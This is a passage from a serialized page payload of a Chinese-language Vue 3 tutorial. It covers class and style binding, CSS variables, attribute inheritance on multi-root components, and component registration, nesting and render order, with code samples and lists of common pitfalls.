在前会拦掉后续处理",[63,23746,23747,23750,23772],{},[84,23748,23749],{},"按键",[84,23751,23752,268,23755,268,23757,268,23759,268,23761,268,23763,268,23765,268,23768,268,23770],{},[22,23753,23754],{},".enter",[22,23756,20486],{},[22,23758,10365],{},[22,23760,20483],{},[22,23762,20489],{},[22,23764,20492],{},[22,23766,23767],{},".down",[22,23769,20503],{},[22,23771,20506],{},[84,23773,23774],{},"别名",[63,23776,23777,23780,23797],{},[84,23778,23779],{},"系统键",[84,23781,23782,268,23785,268,23788,268,23791,4809,23794],{},[22,23783,23784],{},".ctrl",[22,23786,23787],{},".shift",[22,23789,23790],{},".alt",[22,23792,23793],{},".meta",[22,23795,23796],{},".exact",[84,23798,23799,23801],{},[22,23800,23796],{}," 表示「只能按这组键」",[48,23803,23805],{"id":23804},"七class-与-style-绑定动态外观的正确写法","七、class 与 style 绑定：动态外观的正确写法",[11,23807,23808],{},"界面状态要反映在样式上（选中项高亮、进度条长度、主题色），靠字符串拼 class 迟早出问题。Vue 给了对象\u002F数组两种结构，让「样式」和「状态」一一对应。",[53,23810,23812],{"id":23811},"class对象语法与数组语法","class：对象语法与数组语法",[308,23814,23816],{"className":485,"code":23815,"language":487,"meta":314,"style":314},"\u003C!-- 对象：键是类名，值是布尔 -->\n\u003Cdiv :class=\"{ active: isActive, 'text-danger': hasError }\">\n\n\u003C!-- 对象整体绑定（把逻辑收进 computed，模板保持干净） -->\n\u003Cdiv :class=\"classObj\">\n\u003Cscript setup>\nconst classObj = computed(() => ({\n  active: props.isActive,\n  disabled: props.count === 0,\n  'is-large': props.size === 'large'\n}))\n\u003C\u002Fscript>\n\n\u003C!-- 数组：静态类 + 动态类混排 -->\n\u003Cdiv :class=\"[baseClass, isActive ? 'active' : 'inactive', extraClassObj]\">\n\n\u003C!-- 三元够用就别上对象；条件超过两个就用对象或 computed -->\n",[22,23817,23818,23823,23838,23842,23847,23862,23872,23890,23895,23906,23919,23924,23932,23936,23941,23956,23960],{"__ignoreMap":314},[331,23819,23820],{"class":333,"line":334},[331,23821,23822],{"class":1003},"\u003C!-- 对象：键是类名，值是布尔 -->\n",[331,23824,23825,23827,23829,23831,23833,23836],{"class":333,"line":341},[331,23826,510],{"class":337},[331,23828,6021],{"class":497},[331,23830,19775],{"class":501},[331,23832,518],{"class":337},[331,23834,23835],{"class":365},"\"{ active: isActive, 'text-danger': hasError }\"",[331,23837,505],{"class":337},[331,23839,23840],{"class":333,"line":357},[331,23841,998],{"emptyLinePlaceholder":997},[331,23843,23844],{"class":333,"line":371},[331,23845,23846],{"class":1003},"\u003C!-- 对象整体绑定（把逻辑收进 computed，模板保持干净） -->\n",[331,23848,23849,23851,23853,23855,23857,23860],{"class":333,"line":384},[331,23850,510],{"class":337},[331,23852,6021],{"class":497},[331,23854,19775],{"class":501},[331,23856,518],{"class":337},[331,23858,23859],{"class":365},"\"classObj\"",[331,23861,505],{"class":337},[331,23863,23864,23866,23868,23870],{"class":333,"line":397},[331,23865,510],{"class":337},[331,23867,891],{"class":497},[331,23869,6299],{"class":501},[331,23871,505],{"class":337},[331,23873,23874,23876,23879,23881,23883,23885,23887],{"class":333,"line":418},[331,23875,951],{"class":616},[331,23877,23878],{"class":344}," classObj",[331,23880,957],{"class":616},[331,23882,13798],{"class":501},[331,23884,1486],{"class":337},[331,23886,1489],{"class":616},[331,23888,23889],{"class":337}," ({\n",[331,23891,23892],{"class":333,"line":427},[331,23893,23894],{"class":337},"  active: props.isActive,\n",[331,23896,23897,23900,23902,23904],{"class":333,"line":439},[331,23898,23899],{"class":337},"  disabled: props.count ",[331,23901,2625],{"class":616},[331,23903,680],{"class":344},[331,23905,354],{"class":337},[331,23907,23908,23911,23914,23916],{"class":333,"line":450},[331,23909,23910],{"class":365},"  'is-large'",[331,23912,23913],{"class":337},": props.size ",[331,23915,2625],{"class":616},[331,23917,23918],{"class":365}," 'large'\n",[331,23920,23921],{"class":333,"line":456},[331,23922,23923],{"class":337},"}))\n",[331,23925,23926,23928,23930],{"class":333,"line":775},[331,23927,788],{"class":337},[331,23929,891],{"class":497},[331,23931,505],{"class":337},[331,23933,23934],{"class":333,"line":785},[331,23935,998],{"emptyLinePlaceholder":997},[331,23937,23938],{"class":333,"line":795},[331,23939,23940],{"class":1003},"\u003C!-- 数组：静态类 + 动态类混排 -->\n",[331,23942,23943,23945,23947,23949,23951,23954],{"class":333,"line":805},[331,23944,510],{"class":337},[331,23946,6021],{"class":497},[331,23948,19775],{"class":501},[331,23950,518],{"class":337},[331,23952,23953],{"class":365},"\"[baseClass, isActive ? 'active' : 'inactive', extraClassObj]\"",[331,23955,505],{"class":337},[331,23957,23958],{"class":333,"line":819},[331,23959,998],{"emptyLinePlaceholder":997},[331,23961,23962],{"class":333,"line":850},[331,23963,23964],{"class":1003},"\u003C!-- 三元够用就别上对象；条件超过两个就用对象或 computed -->\n",[11,23966,23967,23968,23971],{},"含空格或多个类名的键必须加引号（",[22,23969,23970],{},"'text-danger'","），因为它是对象键而不是标识符。",[53,23973,23975],{"id":23974},"style对象数组与-css-变量","style：对象、数组与 CSS 变量",[308,23977,23979],{"className":485,"code":23978,"language":487,"meta":314,"style":314},"\u003Cdiv :style=\"{ width: barWidth + '%' }\">\n\u003Cdiv :style=\"{ color: activeColor, 'font-size': fontSize + 'px' }\">   \u003C!-- 连字符属性要加引号 -->\n\u003Cdiv :style=\"[baseStyle, themeStyle]\">                                \u003C!-- 后者覆盖前者 -->\n\u003Cdiv :style=\"{ '--brand': brandColor }\">                              \u003C!-- CSS 变量 -->\n  \u003Cstyle>.box { border: 3px solid var(--brand); }\u003C\u002Fstyle>\n",[22,23980,23981,23996,24014,24033,24052],{"__ignoreMap":314},[331,23982,23983,23985,23987,23989,23991,23994],{"class":333,"line":334},[331,23984,510],{"class":337},[331,23986,6021],{"class":497},[331,23988,19783],{"class":501},[331,23990,518],{"class":337},[331,23992,23993],{"class":365},"\"{ width: barWidth + '%' }\"",[331,23995,505],{"class":337},[331,23997,23998,24000,24002,24004,24006,24009,24011],{"class":333,"line":341},[331,23999,510],{"class":337},[331,24001,6021],{"class":497},[331,24003,19783],{"class":501},[331,24005,518],{"class":337},[331,24007,24008],{"class":365},"\"{ color: activeColor, 'font-size': fontSize + 'px' }\"",[331,24010,16314],{"class":337},[331,24012,24013],{"class":1003},"\u003C!-- 连字符属性要加引号 -->\n",[331,24015,24016,24018,24020,24022,24024,24027,24030],{"class":333,"line":357},[331,24017,510],{"class":337},[331,24019,6021],{"class":497},[331,24021,19783],{"class":501},[331,24023,518],{"class":337},[331,24025,24026],{"class":365},"\"[baseStyle, themeStyle]\"",[331,24028,24029],{"class":337},">                                ",[331,24031,24032],{"class":1003},"\u003C!-- 后者覆盖前者 -->\n",[331,24034,24035,24037,24039,24041,24043,24046,24049],{"class":333,"line":371},[331,24036,510],{"class":337},[331,24038,6021],{"class":497},[331,24040,19783],{"class":501},[331,24042,518],{"class":337},[331,24044,24045],{"class":365},"\"{ '--brand': brandColor }\"",[331,24047,24048],{"class":337},">                              ",[331,24050,24051],{"class":1003},"\u003C!-- CSS 变量 -->\n",[331,24053,24054,24056,24058,24061,24064,24066,24068,24070,24073,24076,24078,24081,24084,24086],{"class":333,"line":384},[331,24055,537],{"class":337},[331,24057,595],{"class":497},[331,24059,24060],{"class":337},">.box { ",[331,24062,24063],{"class":344},"border",[331,24065,348],{"class":337},[331,24067,351],{"class":344},[331,24069,617],{"class":616},[331,24071,24072],{"class":344}," solid",[331,24074,24075],{"class":344}," var",[331,24077,966],{"class":337},[331,24079,24080],{"class":2472},"--brand",[331,24082,24083],{"class":337},"); }\u003C\u002F",[331,24085,595],{"class":497},[331,24087,505],{"class":337},[11,24089,24090,24091,4839,24094,6745,24097,24100,24101,24104,24105,24108,24109,24112],{},"三个约定：",[17,24092,24093],{},"驼峰与连字符都能写",[22,24095,24096],{},"fontSize",[22,24098,24099],{},"'font-size'","，连字符形式必须加引号）；",[17,24102,24103],{},"多来源合并时数组后面的赢","（所以别把 ",[22,24106,24107],{},"!important"," 当覆盖手段，示例 07 演示了正确做法是调数组顺序）；",[17,24110,24111],{},"给组件库\u002F全局样式传值，CSS 变量是最干净的路","（不必和对方的选择器权重打架）。",[53,24114,24116],{"id":24115},"组件上的-class-落到哪单根继承多根要显式处理","组件上的 class 落到哪：单根继承，多根要显式处理",[308,24118,24120],{"className":485,"code":24119,"language":487,"meta":314,"style":314},"\u003C!-- 单根子组件：class 自动合并到子组件根元素 -->\n\u003Ctag-chip class=\"is-primary\">Vue\u003C\u002Ftag-chip>\n\n\u003C!-- 多根子组件（fragment）：Vue 不知道往哪放，开发版直接警告 -->\n\u003Ctwo-root class=\"is-primary\">…\u003C\u002Ftwo-root>\n",[22,24121,24122,24127,24148,24152,24157],{"__ignoreMap":314},[331,24123,24124],{"class":333,"line":334},[331,24125,24126],{"class":1003},"\u003C!-- 单根子组件：class 自动合并到子组件根元素 -->\n",[331,24128,24129,24131,24134,24136,24138,24141,24144,24146],{"class":333,"line":341},[331,24130,510],{"class":337},[331,24132,24133],{"class":497},"tag-chip",[331,24135,6024],{"class":501},[331,24137,518],{"class":337},[331,24139,24140],{"class":365},"\"is-primary\"",[331,24142,24143],{"class":337},">Vue\u003C\u002F",[331,24145,24133],{"class":497},[331,24147,505],{"class":337},[331,24149,24150],{"class":333,"line":357},[331,24151,998],{"emptyLinePlaceholder":997},[331,24153,24154],{"class":333,"line":371},[331,24155,24156],{"class":1003},"\u003C!-- 多根子组件（fragment）：Vue 不知道往哪放，开发版直接警告 -->\n",[331,24158,24159,24161,24164,24166,24168,24170,24172,24174],{"class":333,"line":384},[331,24160,510],{"class":337},[331,24162,24163],{"class":497},"two-root",[331,24165,6024],{"class":501},[331,24167,518],{"class":337},[331,24169,24140],{"class":365},[331,24171,6274],{"class":337},[331,24173,24163],{"class":497},[331,24175,505],{"class":337},[11,24177,24178,24179,24182,24183,24186],{},"多根组件要显式接收：",[22,24180,24181],{},"\u003Cdiv v-bind=\"$attrs\">"," 自己决定哪个根拿样式，或者 ",[22,24184,24185],{},"defineOptions({ inheritAttrs: false })"," 后手动分发。示例 07 的最后一块现场触发了这条警告——这是很多人第一次写多根组件时莫名其妙丢样式的原因。",[4748,24188],{"height":24189,"src":24190,"title":24191},720,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F07-class-style.html","示例 07：动态 class、style 合并与 CSS 变量",[53,24193,4796],{"id":10769},[11,24195,24196,268,24199,24202,24203,24206,24207,24209,24210,24212,24213,24216],{},[17,24197,24198],{},"1. 字符串拼接 class 会覆盖静态 class。",[22,24200,24201],{},"class=\"btn\" :class=\"dynamicClass\""," 是正确的合并写法；但写成 ",[22,24204,24205],{},":class=\"'btn ' + type\""," 时，一旦 ",[22,24208,3628],{}," 为 ",[22,24211,5872],{}," 就出现 ",[22,24214,24215],{},"btn undefined"," 这个假类名。用对象\u002F数组语法让 Vue 处理合并。",[11,24218,24219,24224,24225,24227,24228,161],{},[17,24220,5672,24221,24223],{},[22,24222,24107],{}," 之后谁也盖不住。"," 内联 ",[22,24226,24107],{}," 的优先级高于任何选择器（包括另一个内联声明）。样式不生效时先搜一遍 ",[22,24229,24107],{},[11,24231,24232,268,24235,24238,24239,24242,24243,161],{},[17,24233,24234],{},"3. 连字符 CSS 属性写在对象里不加引号会报错。",[22,24236,24237],{},":style=\"{ font-size: '14px' }\""," 是非法 JS 对象字面量，必须 ",[22,24240,24241],{},"{'font-size': '14px'}"," 或改成驼峰 ",[22,24244,24096],{},[11,24246,24247,24250,24251,24254,24255,24258],{},[17,24248,24249],{},"4. 同名类冲突：组件内部的 class 会被外部继承进来。"," 单根组件上写 ",[22,24252,24253],{},"class=\"active\"","，若子组件根元素本来也有 ",[22,24256,24257],{},".active"," 样式，两边规则合并后表现可能诡异。组件样式请用 scoped 或 BEM 前缀（第十八章）。",[11,24260,24261,268,24269,24271,24272,24274,24275,24278,24279,24281],{},[17,24262,9903,24263,5160,24265,24268],{},[22,24264,19367],{},[22,24266,24267],{},":style"," 打架。",[22,24270,19367],{}," 靠改 ",[22,24273,20238],{},"，你若同时绑定 ",[22,24276,24277],{},":style=\"{ display: 'flex' }\"","，隐藏后会被重新显示出来。要既隐藏又改 display，用 ",[22,24280,18308],{}," 或把 display 也纳入 computed。",[11,24283,24284,268,24287,24290,24291,24294,24295,24297],{},[17,24285,24286],{},"6. transition\u002Fanimation 的类名由 Vue 管理。",[22,24288,24289],{},"\u003CTransition name=\"fade\">"," 需要 ",[22,24292,24293],{},".fade-enter-from"," 等四个类，少写一个（尤其 ",[22,24296,7522],{},"）就没有过渡效果。这是「我的动画怎么不生效」的头号原因（示例见第十四章的 KeepAlive 部分配套说明）。",[11,24299,24300,24303,24304,24307,24308,24311,24312,12247,24314,272,24317,24320,24321,161],{},[17,24301,24302],{},"7. SVG 元素的 class 与 HTML 不同。"," SVG 上用 ",[22,24305,24306],{},"class"," 绑定没问题，但 ",[22,24309,24310],{},"className"," 相关操作要留意；",[22,24313,595],{},[22,24315,24316],{},"fill",[22,24318,24319],{},"stroke"," 只能对 SVG 生效。给图标换色推荐 CSS 变量 + ",[22,24322,24323],{},"fill=\"var(--c)\"",[53,24325,24327],{"id":24326},"附动态样式速查","附：动态样式速查",[57,24329,24330,24339],{},[60,24331,24332],{},[63,24333,24334,24336],{},[66,24335,9791],{},[66,24337,24338],{},"推荐写法",[79,24340,24341,24351,24361,24371,24382,24392,24402,24413],{},[63,24342,24343,24346],{},[84,24344,24345],{},"单个开关类",[84,24347,24348],{},[22,24349,24350],{},":class=\"{ active: isActive }\"",[63,24352,24353,24356],{},[84,24354,24355],{},"二选一",[84,24357,24358],{},[22,24359,24360],{},":class=\"ok ? 'ok' : 'no'\"",[63,24362,24363,24366],{},[84,24364,24365],{},"多个类自由组合",[84,24367,24368],{},[22,24369,24370],{},":class=\"[base, { a: condA, b: condB }]\"",[63,24372,24373,24376],{},[84,24374,24375],{},"类多且逻辑复杂",[84,24377,24378,24381],{},[22,24379,24380],{},":class=\"classObj\"","（computed 里算）",[63,24383,24384,24387],{},[84,24385,24386],{},"数值型样式（宽度\u002F高度）",[84,24388,24389],{},[22,24390,24391],{},":style=\"{ width: w + '%' }\"",[63,24393,24394,24397],{},[84,24395,24396],{},"主题色\u002F第三方样式传值",[84,24398,24399],{},[22,24400,24401],{},":style=\"{ '--brand': color }\"",[63,24403,24404,24407],{},[84,24405,24406],{},"多来源样式合并",[84,24408,24409,24412],{},[22,24410,24411],{},":style=\"[base, override]\"","（后者赢）",[63,24414,24415,24418],{},[84,24416,24417],{},"组件外层加样式",[84,24419,24420,24421],{},"单根自动继承；多根用 ",[22,24422,24423],{},"v-bind=\"$attrs\"",[48,24425,24427],{"id":24426},"八组件入门注册嵌套与渲染顺序","八、组件入门：注册、嵌套与渲染顺序",[11,24429,24430,24431,24434],{},"组件就是把界面切成可复用的块：一个组件有模板、有逻辑、有自己的状态。页面上写 ",[22,24432,24433],{},"\u003Cuser-card>","，Vue 负责把对应的组件实例创建出来并管理它的生命周期。",[53,24436,24437],{"id":24437},"一个组件的最小形状",[308,24439,24441],{"className":5996,"code":24440,"language":5998,"meta":314,"style":314},"\u003C!-- components\u002FUserCard.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst likes = ref(0)\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"card\">\n    \u003Cslot \u002F>\n    \u003Cbutton @click=\"likes++\">赞 {{ likes }}\u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,24442,24443,24448,24458,24468,24485,24493,24497,24505,24520,24530,24550,24558],{"__ignoreMap":314},[331,24444,24445],{"class":333,"line":334},[331,24446,24447],{"class":1003},"\u003C!-- components\u002FUserCard.vue -->\n",[331,24449,24450,24452,24454,24456],{"class":333,"line":341},[331,24451,510],{"class":337},[331,24453,891],{"class":497},[331,24455,6299],{"class":501},[331,24457,505],{"class":337},[331,24459,24460,24462,24464,24466],{"class":333,"line":357},[331,24461,4648],{"class":616},[331,24463,17859],{"class":337},[331,24465,13735],{"class":616},[331,24467,17864],{"class":365},[331,24469,24470,24472,24475,24477,24479,24481,24483],{"class":333,"line":371},[331,24471,951],{"class":616},[331,24473,24474],{"class":344}," likes",[331,24476,957],{"class":616},[331,24478,13780],{"class":501},[331,24480,966],{"class":337},[331,24482,628],{"class":344},[331,24484,972],{"class":337},[331,24486,24487,24489,24491],{"class":333,"line":384},[331,24488,788],{"class":337},[331,24490,891],{"class":497},[331,24492,505],{"class":337},[331,24494,24495],{"class":333,"line":397},[331,24496,998],{"emptyLinePlaceholder":997},[331,24498,24499,24501,24503],{"class":333,"line":418},[331,24500,510],{"class":337},[331,24502,6012],{"class":497},[331,24504,505],{"class":337},[331,24506,24507,24509,24511,24513,24515,24518],{"class":333,"line":427},[331,24508,537],{"class":337},[331,24510,6021],{"class":497},[331,24512,6024],{"class":501},[331,24514,518],{"class":337},[331,24516,24517],{"class":365},"\"card\"",[331,24519,505],{"class":337},[331,24521,24522,24524,24526,24528],{"class":333,"line":439},[331,24523,6036],{"class":337},[331,24525,7085],{"class":497},[331,24527,6544],{"class":7088},[331,24529,505],{"class":337},[331,24531,24532,24534,24536,24538,24540,24543,24546,24548],{"class":333,"line":450},[331,24533,6036],{"class":337},[331,24535,824],{"class":497},[331,24537,7348],{"class":501},[331,24539,518],{"class":337},[331,24541,24542],{"class":365},"\"likes++\"",[331,24544,24545],{"class":337},">赞 {{ likes }}\u003C\u002F",[331,24547,824],{"class":497},[331,24549,505],{"class":337},[331,24551,24552,24554,24556],{"class":333,"line":456},[331,24553,778],{"class":337},[331,24555,6021],{"class":497},[331,24557,505],{"class":337},[331,24559,24560,24562,24564],{"class":333,"line":775},[331,24561,788],{"class":337},[331,24563,6012],{"class":497},[331,24565,505],{"class":337},[11,24567,24568,24570,24571,24573,24574,24576,24577,161],{},[22,24569,4775],{}," 是 Vue 3 的默认写法：顶层 ",[22,24572,4648],{}," 的东西、",[22,24575,951],{}," 声明的变量和函数，模板里都能直接用，不需要 ",[22,24578,10859],{},[53,24580,24582],{"id":24581},"注册全局与局部","注册：全局与局部",[57,24584,24585,24597],{},[60,24586,24587],{},[63,24588,24589,24592,24595],{},[66,24590,24591],{},"方式",[66,24593,24594],{},"代码",[66,24596,11987],{},[79,24598,24599,24615,24628,24641],{},[63,24600,24601,24604,24612],{},[84,24602,24603],{},"单文件组件引入（推荐）",[84,24605,24606,4839,24609,24611],{},[22,24607,24608],{},"import UserCard from '@\u002Fcomponents\u002FUserCard.vue'",[22,24610,4775],{}," 里 import 即可用）",[84,24613,24614],{},"一切项目",[63,24616,24617,24620,24625],{},[84,24618,24619],{},"全局注册",[84,24621,24622],{},[22,24623,24624],{},"app.component('UserCard', UserCard)",[84,24626,24627],{},"全站通用的小组件（图标、按钮），代价是失去 tree-shaking",[63,24629,24630,24633,24638],{},[84,24631,24632],{},"组件内选项注册",[84,24634,24635],{},[22,24636,24637],{},"components: { UserCard }",[84,24639,24640],{},"选项式老代码",[63,24642,24643,24646,24651],{},[84,24644,24645],{},"异步注册",[84,24647,24648],{},[22,24649,24650],{},"defineAsyncComponent(() => import('...'))",[84,24652,24653],{},"体积大、非首屏的组件（第十四章）",[11,24655,24656,24657,24660,24661,24663],{},"全局注册有个隐藏代价：",[17,24658,24659],{},"打包时无法摇树","，哪怕某个页面用不到也会被带上；所以主流做法是「按需 import + ",[22,24662,4775],{},"」，只把图标、按钮这类真正的全局件放插件里注册。",[53,24665,24666],{"id":24666},"嵌套与渲染顺序",[308,24668,24670],{"className":5996,"code":24669,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport Panel from '.\u002FPanel.vue'\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cdiv class=\"page\">\n    \u003CPanel title=\"第一块\">内容 A\u003C\u002FPanel>\n    \u003CPanel title=\"第二块\">内容 B\u003C\u002FPanel>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,24671,24672,24682,24694,24702,24710,24725,24747,24767,24775],{"__ignoreMap":314},[331,24673,24674,24676,24678,24680],{"class":333,"line":334},[331,24675,510],{"class":337},[331,24677,891],{"class":497},[331,24679,6299],{"class":501},[331,24681,505],{"class":337},[331,24683,24684,24686,24689,24691],{"class":333,"line":341},[331,24685,4648],{"class":616},[331,24687,24688],{"class":337}," Panel ",[331,24690,13735],{"class":616},[331,24692,24693],{"class":365}," '.\u002FPanel.vue'\n",[331,24695,24696,24698,24700],{"class":333,"line":357},[331,24697,788],{"class":337},[331,24699,891],{"class":497},[331,24701,505],{"class":337},[331,24703,24704,24706,24708],{"class":333,"line":371},[331,24705,510],{"class":337},[331,24707,6012],{"class":497},[331,24709,505],{"class":337},[331,24711,24712,24714,24716,24718,24720,24723],{"class":333,"line":384},[331,24713,537],{"class":337},[331,24715,6021],{"class":497},[331,24717,6024],{"class":501},[331,24719,518],{"class":337},[331,24721,24722],{"class":365},"\"page\"",[331,24724,505],{"class":337},[331,24726,24727,24729,24732,24735,24737,24740,24743,24745],{"class":333,"line":397},[331,24728,6036],{"class":337},[331,24730,24731],{"class":497},"Panel",[331,24733,24734],{"class":501}," title",[331,24736,518],{"class":337},[331,24738,24739],{"class":365},"\"第一块\"",[331,24741,24742],{"class":337},">内容 A\u003C\u002F",[331,24744,24731],{"class":497},[331,24746,505],{"class":337},[331,24748,24749,24751,24753,24755,24757,24760,24763,24765],{"class":333,"line":418},[331,24750,6036],{"class":337},[331,24752,24731],{"class":497},[331,24754,24734],{"class":501},[331,24756,518],{"class":337},[331,24758,24759],{"class":365},"\"第二块\"",[331,24761,24762],{"class":337},">内容 B\u003C\u002F",[331,24764,24731],{"class":497},[331,24766,505],{"class":337},[331,24768,24769,24771,24773],{"class":333,"line":427},[331,24770,778],{"class":337},[331,24772,6021],{"class":497},[331,24774,505],{"class":337},[331,24776,24777,24779,24781],{"class":333,"line":439},[331,24778,788],{"class":337},[331,24780,6012],{"class":497},[331,24782,505],{"class":337},[11,24784,24785,24786,24789,24790,24792],{},"组件树按「父 setup → 父 render → 子 setup → 子 render → 子 mounted → 父 mounted」推进：",[17,24787,24788],{},"先自顶向下建好，再自底向上通知「已挂载」","。这个顺序解释了为什么父组件 ",[22,24791,6734],{}," 里能拿到子组件渲染出来的 DOM。",[11,24794,24795,24796,24799,24800,24802,24803,24805],{},"同一个组件可以在一个页面里出现多次，",[17,24797,24798],{},"每个实例的状态各自独立","（示例 13 的组合式函数复用也建立在这一点上）。组件自己 ",[22,24801,17928],{}," 里的初始状态来自它自己 ",[22,24804,15084],{}," 里的 ref，不是共享变量——注意别把状态写到组件文件顶层的模块级变量里，那会变成「所有实例共享」的意外全局状态。",[308,24807,24809],{"className":942,"code":24808,"language":944,"meta":314,"style":314},"\u002F\u002F ✗ 反例：模块级状态，所有实例共享\nconst shared = ref(0)\nexport default { setup() { return { shared } } }\n\n\u002F\u002F ✓ 正解：状态在 setup 内部创建，每个实例一份\nexport default { setup() { const own = ref(0); return { own } } }\n",[22,24810,24811,24816,24833,24850,24854,24859],{"__ignoreMap":314},[331,24812,24813],{"class":333,"line":334},[331,24814,24815],{"class":1003},"\u002F\u002F ✗ 反例：模块级状态，所有实例共享\n",[331,24817,24818,24820,24823,24825,24827,24829,24831],{"class":333,"line":341},[331,24819,951],{"class":616},[331,24821,24822],{"class":344}," shared",[331,24824,957],{"class":616},[331,24826,13780],{"class":501},[331,24828,966],{"class":337},[331,24830,628],{"class":344},[331,24832,972],{"class":337},[331,24834,24835,24837,24839,24841,24843,24845,24847],{"class":333,"line":357},[331,24836,5219],{"class":616},[331,24838,5222],{"class":616},[331,24840,605],{"class":337},[331,24842,15084],{"class":501},[331,24844,17990],{"class":337},[331,24846,10859],{"class":616},[331,24848,24849],{"class":337}," { shared } } }\n",[331,24851,24852],{"class":333,"line":371},[331,24853,998],{"emptyLinePlaceholder":997},[331,24855,24856],{"class":333,"line":384},[331,24857,24858],{"class":1003},"\u002F\u002F ✓ 正解：状态在 setup 内部创建，每个实例一份\n",[331,24860,24861,24863,24865,24867,24869,24871,24873,24876,24878,24880,24882,24884,24887,24889],{"class":333,"line":397},[331,24862,5219],{"class":616},[331,24864,5222],{"class":616},[331,24866,605],{"class":337},[331,24868,15084],{"class":501},[331,24870,17990],{"class":337},[331,24872,951],{"class":616},[331,24874,24875],{"class":344}," own",[331,24877,957],{"class":616},[331,24879,13780],{"class":501},[331,24881,966],{"class":337},[331,24883,628],{"class":344},[331,24885,24886],{"class":337},"); ",[331,24888,10859],{"class":616},[331,24890,24891],{"class":337}," { own } } }\n",[53,24893,24894],{"id":24894},"命名与保留名",[1773,24896,24897,24913,24935,24945],{},[1662,24898,24899,24900,4839,24903,24906,24907,24909,24910,24912],{},"组件名用 ",[17,24901,24902],{},"PascalCase",[22,24904,24905],{},"UserCard","）在 ",[22,24908,3878],{}," 里，模板里也可写 kebab-case（",[22,24911,24433],{},"），两者等价；浏览器 in-DOM 模板只能用 kebab-case。",[1662,24914,24915,24916,24919,24920,272,24922,272,24924,272,24926,272,24928,24931,24932,161],{},"组件名",[17,24917,24918],{},"不能","与 HTML 保留元素冲突（",[22,24921,18172],{},[22,24923,6012],{},[22,24925,7085],{},[22,24927,7466],{},[22,24929,24930],{},"keep-alive"," 以及原生标签），Vue 会警告 ",[22,24933,24934],{},"Do not use reserved names",[1662,24936,24937,24940,24941,24944],{},[22,24938,24939],{},"is"," 是 HTML 的保留属性，动态组件要用 ",[22,24942,24943],{},"\u003Ccomponent :is=\"...\">","（第十四章）。",[1662,24946,24947,24948,6745,24950,161],{},"递归组件必须有可发现的名字：单文件组件用文件名自动推断，其它写法要显式 ",[22,24949,1900],{},[22,24951,24952],{},"defineOptions({ name: 'TreeNode' })",[4748,24954],{"height":5635,"src":24955,"title":24956},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F08-components-basics.html","示例 08：组件注册、嵌套与三层渲染顺序",[11,24958,24959],{},"示例 08 的第三块把三层组件的 setup \u002F mounted 打印成带时间戳的日志，点「重播」能看到顺序真的重跑一遍。",[53,24961,4796],{"id":11493},[11,24963,24964,24967,24968,24970,24971,24973],{},[17,24965,24966],{},"1. import 了却「找不到组件」。"," 常见原因是路径后缀漏了 ",[22,24969,3878],{},"（构建工具默认不解析裸 ",[22,24972,3878],{}," 扩展名）、或大小写不对（Windows 本地能跑，Linux 构建直接失败）。这是「本地好使、CI 挂了」的头号元凶。",[11,24975,24976,24982,24983,24986,24987,1901,24990,24992,24993,24996],{},[17,24977,24978,24979,24981],{},"2. 全局注册要在 ",[22,24980,17816],{}," 之前。"," 注册晚于挂载时，已经渲染出来的那段模板不会回头重算，",[22,24984,24985],{},"late-badge"," 这类组件只可能在后续渲染里被解析到（行为不稳、也不该依赖）。约定：所有 ",[22,24988,24989],{},"app.component()",[22,24991,18412],{}," 都写在 ",[22,24994,24995],{},"app.mount()"," 前面。",[11,24998,24999,25002,25003,25006,25007,25009,25010,272,25013,25016],{},[17,25000,25001],{},"3. 组件名与原生标签重名。"," 注册 ",[22,25004,25005],{},"\u003CButton>"," 是允许的（PascalCase 不冲突），但注册 ",[22,25008,824],{}," 会覆盖原生标签，出现离谱行为。图标\u002F按钮类组件统一加前缀（",[22,25011,25012],{},"BaseButton",[22,25014,25015],{},"AppButton","）能避免大量麻烦。",[11,25018,25019,25022,25023,25026,25027,25029],{},[17,25020,25021],{},"4. 状态写在模块顶层。"," 上面那段反例——",[22,25024,25025],{},"const shared = ref(0)"," 放在文件顶层（",[22,25028,13935],{}," 除外），多实例共享，出现「改了 A 的数据 B 也跟着变」。",[11,25031,25032,25035,25036,25038,25039,272,25041,272,25043,25045,25046,161],{},[17,25033,25034],{},"5. 多根组件（fragment）带来 attrs 继承问题。"," 组件顶层并列两个 ",[22,25037,7724],{}," 时，父级传下来的 ",[22,25040,24306],{},[22,25042,595],{},[22,25044,19525],{}," 无处可放，开发版会警告「Extraneous non-props attributes」。解决：合并成单根、或显式 ",[22,25047,24423],{},[11,25049,25050,268,25055,25058],{},[17,25051,7717,25052,25054],{},[22,25053,8230],{}," 加在组件上是给 Vue 的，不是给组件的。",[22,25056,25057],{},"\u003Cuser-card :key=\"id\">"," 用来强制重建实例（切换用户时清掉内部状态），别指望它在组件 props 里出现。",[11,25060,25061,268,25064,25067,25068,25070],{},[17,25062,25063],{},"7. 组件模板里的注释会进渲染结果。",[22,25065,25066],{},"\u003C!-- ... -->"," 默认被保留进 DOM（除非构建配置移除），大段说明文字建议放 ",[22,25069,14082],{}," 上方而不是模板里。",[53,25072,25074],{"id":25073},"附组件组织速查","附：组件组织速查",[57,25076,25077,25086],{},[60,25078,25079],{},[63,25080,25081,25084],{},[66,25082,25083],{},"问题",[66,25085,3723],{},[79,25087,25088,25103,25122,25130,25138],{},[63,25089,25090,25093],{},[84,25091,25092],{},"组件放哪",[84,25094,25095,25096,25098,25099,25102],{},"全局共享的进 ",[22,25097,4654],{},"（Nuxt）或 ",[22,25100,25101],{},"src\u002Fcomponents\u002F","；单页专用的可与页面同目录",[63,25104,25105,25108],{},[84,25106,25107],{},"命名",[84,25109,25110,25111,25113,25114,25116,25117,322,25119],{},"多词 PascalCase：",[22,25112,24905],{},"；基础组件加前缀：",[22,25115,25012],{},"；单一实例加 ",[22,25118,5728],{},[22,25120,25121],{},"AppSidebar",[63,25123,25124,25127],{},[84,25125,25126],{},"何时拆组件",[84,25128,25129],{},"一个块被用了 2 次以上 \u002F 单文件超过 200 行 \u002F 